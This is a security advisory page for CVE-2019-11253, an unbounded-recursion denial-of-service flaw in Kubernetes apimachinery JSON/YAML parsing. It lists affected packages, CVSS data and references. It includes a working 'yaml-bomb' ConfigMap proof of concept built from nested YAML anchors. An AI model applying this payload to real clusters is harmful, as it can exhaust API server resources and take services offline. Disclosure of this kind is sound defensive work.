Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS03NGZwLXI2anctaDRtcM4AAxe2

Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing

CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable.

When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue.

Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.

apiVersion: v1
data:
  a: &a ["web","web","web","web","web","web","web","web","web"]
  b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
  c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
  d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
  e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
  f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
  g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
  h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
  i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
  name: yaml-bomb
  namespace: default

Specific Go Packages Affected

• k8s.io/apimachinery/pkg/runtime/serializer/json
• k8s.io/apimachinery/pkg/util/json

Permalink: https://github.com/advisories/GHSA-74fp-r6jw-h4mp
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NGZwLXI2anctaDRtcM4AAxe2
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 year ago
Updated: 7 months ago

CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-74fp-r6jw-h4mp
References:

• https://nvd.nist.gov/vuln/detail/CVE-2019-11253
• https://github.com/kubernetes/kubernetes/pull/83261
• https://github.com/advisories/GHSA-pmqp-h87c-mr78
• https://pkg.go.dev/vuln/GO-2022-0965
• https://github.com/kubernetes/kubernetes/issues/83253
• https://groups.google.com/g/kubernetes-security-announce/c/jk8polzSUxs
• https://stackoverflow.com/questions/58129150/security-yaml-bomb-user-can-restart-kube-api-by-sending-configmap/
• https://github.com/advisories/GHSA-74fp-r6jw-h4mp

Repository: https://github.com/kubernetes/kubernetes
Blast Radius: 35.0

Affected Packages